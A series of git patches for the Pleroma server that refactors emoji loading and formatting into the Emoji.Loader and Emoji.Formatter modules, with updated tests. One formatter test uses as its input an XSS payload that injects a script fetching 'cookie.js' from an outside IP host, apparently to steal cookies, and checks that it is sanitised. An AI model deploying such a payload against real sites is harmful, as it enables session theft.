From cef2e980b1f6b07c2bdb01030559aca83257bd7e Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 28 Aug 2019 21:32:44 +0300 Subject: [PATCH 1/5] division emoji.ex on loader.ex and emoji.ex --- lib/mix/tasks/pleroma/emoji.ex | 2 +- lib/pleroma/emoji.ex | 212 +++------------------------------ lib/pleroma/emoji/loader.ex | 204 +++++++++++++++++++++++++++++++ test/emoji/loader_test.exs | 83 +++++++++++++ test/emoji_test.exs | 75 ------------ 5 files changed, 304 insertions(+), 272 deletions(-) create mode 100644 lib/pleroma/emoji/loader.ex create mode 100644 test/emoji/loader_test.exs diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex index c2225af7d..dc5f7c193 100644 --- a/lib/mix/tasks/pleroma/emoji.ex +++ b/lib/mix/tasks/pleroma/emoji.ex @@ -235,7 +235,7 @@ def run(["gen-pack", src]) do cwd: tmp_pack_dir ) - emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts) + emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts) File.write!(files_name, Jason.encode!(emoji_map, pretty: true)) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index 66e20f0e4..ab6ba7d6a 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -4,24 +4,22 @@ defmodule Pleroma.Emoji do @moduledoc """ - The emojis are loaded from: - - * emoji packs in INSTANCE-DIR/emoji - * the files: `config/emoji.txt` and `config/custom_emoji.txt` - * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder - - This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime. + This GenServer stores in an ETS table the list of the loaded emojis, + and also allows to reload the list at runtime. """ use GenServer + alias Pleroma.Emoji.Loader + require Logger - @type pattern :: Regex.t() | module() | String.t() - @type patterns :: pattern() | [pattern()] - @type group_patterns :: keyword(patterns()) - @ets __MODULE__.Ets - @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}] + @ets_options [ + :ordered_set, + :protected, + :named_table, + {:read_concurrency, true} + ] @doc false def start_link(_) do @@ -44,7 +42,7 @@ def get(name) do end @doc "Returns all the emojos!!" - @spec get_all() :: [{String.t(), String.t()}, ...] + @spec get_all() :: list({String.t(), String.t(), String.t()}) def get_all do :ets.tab2list(@ets) end @@ -58,13 +56,13 @@ def init(_) do @doc false def handle_cast(:reload, state) do - load() + update_emojis(Loader.load()) {:noreply, state} end @doc false def handle_call(:reload, _from, state) do - load() + update_emojis(Loader.load()) {:reply, :ok, state} end @@ -75,189 +73,11 @@ def terminate(_, _) do @doc false def code_change(_old_vsn, state, _extra) do - load() + update_emojis(Loader.load()) {:ok, state} end - defp load do - emoji_dir_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - emoji_groups = Pleroma.Config.get([:emoji, :groups]) - - case File.ls(emoji_dir_path) do - {:error, :enoent} -> - # The custom emoji directory doesn't exist, - # don't do anything - nil - - {:error, e} -> - # There was some other error - Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") - - {:ok, results} -> - grouped = - Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end) - - packs = grouped[true] || [] - files = grouped[false] || [] - - # Print the packs we've found - Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") - - if not Enum.empty?(files) do - Logger.warn( - "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ - Enum.join(files, ", ") - }" - ) - end - - emojis = - Enum.flat_map( - packs, - fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end - ) - - true = :ets.insert(@ets, emojis) - end - - # Compat thing for old custom emoji handling & default emoji, - # it should run even if there are no emoji packs - shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], []) - - emojis = - (load_from_file("config/emoji.txt", emoji_groups) ++ - load_from_file("config/custom_emoji.txt", emoji_groups) ++ - load_from_globs(shortcode_globs, emoji_groups)) - |> Enum.reject(fn value -> value == nil end) - - true = :ets.insert(@ets, emojis) - - :ok - end - - defp load_pack(pack_dir, emoji_groups) do - pack_name = Path.basename(pack_dir) - - emoji_txt = Path.join(pack_dir, "emoji.txt") - - if File.exists?(emoji_txt) do - load_from_file(emoji_txt, emoji_groups) - else - extensions = Pleroma.Config.get([:emoji, :pack_extensions]) - - Logger.info( - "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji" - ) - - make_shortcode_to_file_map(pack_dir, extensions) - |> Enum.map(fn {shortcode, rel_file} -> - filename = Path.join("/emoji/#{pack_name}", rel_file) - - {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} - end) - end - end - - def make_shortcode_to_file_map(pack_dir, exts) do - find_all_emoji(pack_dir, exts) - |> Enum.map(&Path.relative_to(&1, pack_dir)) - |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) - |> Enum.into(%{}) - end - - def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) - - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end - end - ) - |> Enum.filter(fn f -> Path.extname(f) in exts end) - end - - defp load_from_file(file, emoji_groups) do - if File.exists?(file) do - load_from_file_stream(File.stream!(file), emoji_groups) - else - [] - end - end - - defp load_from_file_stream(stream, emoji_groups) do - stream - |> Stream.map(&String.trim/1) - |> Stream.map(fn line -> - case String.split(line, ~r/,\s*/) do - [name, file] -> - {name, file, [to_string(match_extra(emoji_groups, file))]} - - [name, file | tags] -> - {name, file, tags} - - _ -> - nil - end - end) - |> Enum.to_list() - end - - defp load_from_globs(globs, emoji_groups) do - static_path = Path.join(:code.priv_dir(:pleroma), "static") - - paths = - Enum.map(globs, fn glob -> - Path.join(static_path, glob) - |> Path.wildcard() - end) - |> Enum.concat() - - Enum.map(paths, fn path -> - tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) - shortcode = Path.basename(path, Path.extname(path)) - external_path = Path.join("/", Path.relative_to(path, static_path)) - {shortcode, external_path, [to_string(tag)]} - end) - end - - @doc """ - Finds a matching group for the given emoji filename - """ - @spec match_extra(group_patterns(), String.t()) :: atom() | nil - def match_extra(group_patterns, filename) do - match_group_patterns(group_patterns, fn pattern -> - case pattern do - %Regex{} = regex -> Regex.match?(regex, filename) - string when is_binary(string) -> filename == string - end - end) - end - - defp match_group_patterns(group_patterns, matcher) do - Enum.find_value(group_patterns, fn {group, patterns} -> - patterns = - patterns - |> List.wrap() - |> Enum.map(fn pattern -> - if String.contains?(pattern, "*") do - ~r(#{String.replace(pattern, "*", ".*")}) - else - pattern - end - end) - - Enum.any?(patterns, matcher) && group - end) + defp update_emojis(emojis) do + :ets.insert(@ets, emojis) end end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex new file mode 100644 index 000000000..e93b0aecc --- /dev/null +++ b/lib/pleroma/emoji/loader.ex @@ -0,0 +1,204 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Loader do + @moduledoc """ + The Loader emoji from: + + * emoji packs in INSTANCE-DIR/emoji + * the files: `config/emoji.txt` and `config/custom_emoji.txt` + * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder + """ + alias Pleroma.Config + + require Logger + + @type pattern :: Regex.t() | module() | String.t() + @type patterns :: pattern() | [pattern()] + @type group_patterns :: keyword(patterns()) + @type emoji :: {String.t(), String.t(), list(String.t())} + + @doc """ + Loads emojis from files/packs. + + returns list emojis in format: + `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}` + """ + @spec load() :: list(emoji) + def load do + emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji") + + emoji_groups = Config.get([:emoji, :groups]) + + emojis = + case File.ls(emoji_dir_path) do + {:error, :enoent} -> + # The custom emoji directory doesn't exist, + # don't do anything + [] + + {:error, e} -> + # There was some other error + Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") + [] + + {:ok, results} -> + grouped = + Enum.group_by(results, fn file -> + File.dir?(Path.join(emoji_dir_path, file)) + end) + + packs = grouped[true] || [] + files = grouped[false] || [] + + # Print the packs we've found + Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") + + if not Enum.empty?(files) do + Logger.warn( + "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ + Enum.join(files, ", ") + }" + ) + end + + Enum.flat_map(packs, fn pack -> + load_pack(Path.join(emoji_dir_path, pack), emoji_groups) + end) + end + + # Compat thing for old custom emoji handling & default emoji, + # it should run even if there are no emoji packs + shortcode_globs = Config.get([:emoji, :shortcode_globs], []) + + emojis_txt = + (load_from_file("config/emoji.txt", emoji_groups) ++ + load_from_file("config/custom_emoji.txt", emoji_groups) ++ + load_from_globs(shortcode_globs, emoji_groups)) + |> Enum.reject(fn value -> value == nil end) + + emojis ++ emojis_txt + end + + defp load_pack(pack_dir, emoji_groups) do + pack_name = Path.basename(pack_dir) + + emoji_txt = Path.join(pack_dir, "emoji.txt") + + if File.exists?(emoji_txt) do + load_from_file(emoji_txt, emoji_groups) + else + extensions = Config.get([:emoji, :pack_extensions]) + + Logger.info( + "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji" + ) + + make_shortcode_to_file_map(pack_dir, extensions) + |> Enum.map(fn {shortcode, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + + {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} + end) + end + end + + def make_shortcode_to_file_map(pack_dir, exts) do + find_all_emoji(pack_dir, exts) + |> Enum.map(&Path.relative_to(&1, pack_dir)) + |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) + |> Enum.into(%{}) + end + + def find_all_emoji(dir, exts) do + Enum.reduce( + File.ls!(dir), + [], + fn f, acc -> + filepath = Path.join(dir, f) + + if File.dir?(filepath) do + acc ++ find_all_emoji(filepath, exts) + else + acc ++ [filepath] + end + end + ) + |> Enum.filter(fn f -> Path.extname(f) in exts end) + end + + defp load_from_file(file, emoji_groups) do + if File.exists?(file) do + load_from_file_stream(File.stream!(file), emoji_groups) + else + [] + end + end + + defp load_from_file_stream(stream, emoji_groups) do + stream + |> Stream.map(&String.trim/1) + |> Stream.map(fn line -> + case String.split(line, ~r/,\s*/) do + [name, file] -> + {name, file, [to_string(match_extra(emoji_groups, file))]} + + [name, file | tags] -> + {name, file, tags} + + _ -> + nil + end + end) + |> Enum.to_list() + end + + defp load_from_globs(globs, emoji_groups) do + static_path = Path.join(:code.priv_dir(:pleroma), "static") + + paths = + Enum.map(globs, fn glob -> + Path.join(static_path, glob) + |> Path.wildcard() + end) + |> Enum.concat() + + Enum.map(paths, fn path -> + tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) + shortcode = Path.basename(path, Path.extname(path)) + external_path = Path.join("/", Path.relative_to(path, static_path)) + {shortcode, external_path, [to_string(tag)]} + end) + end + + @doc """ + Finds a matching group for the given emoji filename + """ + @spec match_extra(group_patterns(), String.t()) :: atom() | nil + def match_extra(group_patterns, filename) do + match_group_patterns(group_patterns, fn pattern -> + case pattern do + %Regex{} = regex -> Regex.match?(regex, filename) + string when is_binary(string) -> filename == string + end + end) + end + + defp match_group_patterns(group_patterns, matcher) do + Enum.find_value(group_patterns, fn {group, patterns} -> + patterns = + patterns + |> List.wrap() + |> Enum.map(fn pattern -> + if String.contains?(pattern, "*") do + ~r(#{String.replace(pattern, "*", ".*")}) + else + pattern + end + end) + + Enum.any?(patterns, matcher) && group + end) + end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..32a828cc9 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -32,79 +32,4 @@ test "random emoji", %{emoji_list: emoji_list} do assert is_list(tags) end end - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/some_undefined.png") - - refute group - end - end end From d7808b5db437b3300122127cef4c7ad076de7bda Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 29 Aug 2019 06:22:18 +0300 Subject: [PATCH 2/5] added code\path fields without html tags in ets --- lib/pleroma/emoji/loader.ex | 12 +- lib/pleroma/formatter.ex | 31 ++--- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 2 +- test/emoji_test.exs | 8 +- test/formatter_test.exs | 110 +++++++++--------- 7 files changed, 93 insertions(+), 74 deletions(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index e93b0aecc..70eba9ac6 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -78,7 +78,17 @@ def load do load_from_globs(shortcode_globs, emoji_groups)) |> Enum.reject(fn value -> value == nil end) - emojis ++ emojis_txt + Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) + end + + defp prepare_emoji({code, file, tags} = _emoji) do + { + code, + file, + tags, + Pleroma.HTML.strip_tags(code), + Pleroma.HTML.strip_tags(file) + } end defp load_pack(pack_dir, emoji_groups) do diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 607843a5b..84955289c 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -107,19 +107,22 @@ def emojify(text) do def emojify(text, nil), do: text def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + Enum.reduce(emoji, text, fn + {_, _, _, emoji, file}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - html = - if not strip do - "#{emoji}" - else - "" - end - - String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags() + emoji_data, text -> + emoji = HTML.strip_tags(elem(emoji_data, 0)) + file = HTML.strip_tags(elem(emoji_data, 1)) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" end def demojify(text) do @@ -130,7 +133,9 @@ def demojify(text, nil), do: text @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end) + Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + String.contains?(text, ":#{emoji}:") + end) end def get_emoji(_), do: [] @@ -138,7 +143,7 @@ def get_emoji(_), do: [] @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group}, acc -> + |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..9686e6491 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -435,7 +435,7 @@ def confirm_current_password(user, password) do def emoji_from_profile(%{info: _info} = user) do (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _} -> + |> Enum.map(fn {shortcode, url, _, _, _} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 83e877c0e..603c6b3c6 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ def peers(conn, _params) do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags} -> + |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 3405bd3b7..923480242 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -240,7 +240,7 @@ def version(conn, _params) do def emoji(conn, _params) do emoji = Emoji.get_all() - |> Enum.map(fn {short_code, path, tags} -> + |> Enum.map(fn {short_code, path, tags, _, _} -> {short_code, %{image_url: path, tags: tags}} end) |> Enum.into(%{}) diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 32a828cc9..82f9c52ff 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ test "first emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags} = emoji + {code, path, tags, _, _} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 5 assert is_binary(code) assert is_binary(path) assert is_list(tags) diff --git a/test/formatter_test.exs b/test/formatter_test.exs index bfa673049..7a5bd0f9f 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -217,6 +217,27 @@ test "given the 'safe_mention' option, it will keep text after newlines" do assert expected_text =~ "how are you doing?" end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end end describe ".parse_tags" do @@ -234,67 +255,50 @@ test "parses tags in the text" do end end - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + expected_result = + "I love \"firefox\"" - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] + assert Formatter.emojify(text) == expected_result + end - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end end - test "it adds cool emoji" do - text = "I love :firefox:" + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" - expected_result = - "I love \"firefox\"" + assert Formatter.get_emoji(text) == [ + {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + ] + end - assert Formatter.emojify(text) == expected_result - end + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end end test "it escapes HTML in plain text" do From 5c90b7073332ac333a5db9dfc82744cee03843fa Mon Sep 17 00:00:00 2001 From: Maksim Date: Thu, 29 Aug 2019 11:45:25 +0000 Subject: [PATCH 3/5] Apply suggestion to lib/pleroma/emoji/loader.ex --- lib/pleroma/emoji/loader.ex | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index 70eba9ac6..82fc3b8c3 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -122,19 +122,17 @@ def make_shortcode_to_file_map(pack_dir, exts) do end def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) + dir + |> File.ls!() + |> Enum.flat_map(fn f -> + filepath = Path.join(dir, f) - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end + if File.dir?(filepath) do + find_all_emoji(filepath, exts) + else + [filepath] end - ) + end) |> Enum.filter(fn f -> Path.extname(f) in exts end) end From d8098d142a0e8412eabdf5fe63705c25bcb1be34 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 29 Aug 2019 22:01:37 +0300 Subject: [PATCH 4/5] added Emoji.Formatter --- lib/pleroma/emoji/formatter.ex | 59 +++++++++++++++++++ lib/pleroma/formatter.ex | 52 ---------------- lib/pleroma/web/common_api/common_api.ex | 18 +++--- lib/pleroma/web/common_api/utils.ex | 5 +- .../controllers/mastodon_api_controller.ex | 4 +- lib/pleroma/web/metadata/utils.ex | 5 +- .../web/twitter_api/twitter_api_controller.ex | 4 +- .../web/twitter_api/views/activity_view.ex | 6 +- .../web/twitter_api/views/user_view.ex | 7 ++- test/emoji/formatter_test.exs | 54 +++++++++++++++++ test/formatter_test.exs | 46 --------------- 11 files changed, 141 insertions(+), 119 deletions(-) create mode 100644 lib/pleroma/emoji/formatter.ex create mode 100644 test/emoji/formatter_test.exs diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex new file mode 100644 index 000000000..acdef3988 --- /dev/null +++ b/lib/pleroma/emoji/formatter.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Formatter do + alias Pleroma.Emoji + alias Pleroma.HTML + alias Pleroma.Web.MediaProxy + + def emojify(text) do + emojify(text, Emoji.get_all()) + end + + def emojify(text, nil), do: text + + def emojify(text, emoji, strip \\ false) do + Enum.reduce(emoji, text, fn + {_, _, _, emoji, file}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + + emoji_data, text -> + emoji = HTML.strip_tags(elem(emoji_data, 0)) + file = HTML.strip_tags(elem(emoji_data, 1)) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" + end + + def demojify(text) do + emojify(text, Emoji.get_all(), true) + end + + def demojify(text, nil), do: text + + @doc "Outputs a list of the emoji-shortcodes in a text" + def get_emoji(text) when is_binary(text) do + Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + String.contains?(text, ":#{emoji}:") + end) + end + + def get_emoji(_), do: [] + + @doc "Outputs a list of the emoji-Maps in a text" + def get_emoji_map(text) when is_binary(text) do + get_emoji(text) + |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> + Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") + end) + end + + def get_emoji_map(_), do: [] +end diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 84955289c..dbbfe3a66 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -3,10 +3,8 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Formatter do - alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User - alias Pleroma.Web.MediaProxy @safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @@ -100,56 +98,6 @@ def mentions_escape(text, options \\ []) do end end - def emojify(text) do - emojify(text, Emoji.get_all()) - end - - def emojify(text, nil), do: text - - def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn - {_, _, _, emoji, file}, text -> - String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - - emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) - String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - end) - |> HTML.filter_tags() - end - - defp prepare_emoji_html(_emoji, _file, true), do: "" - - defp prepare_emoji_html(emoji, file, _strip) do - "#{emoji}" - end - - def demojify(text) do 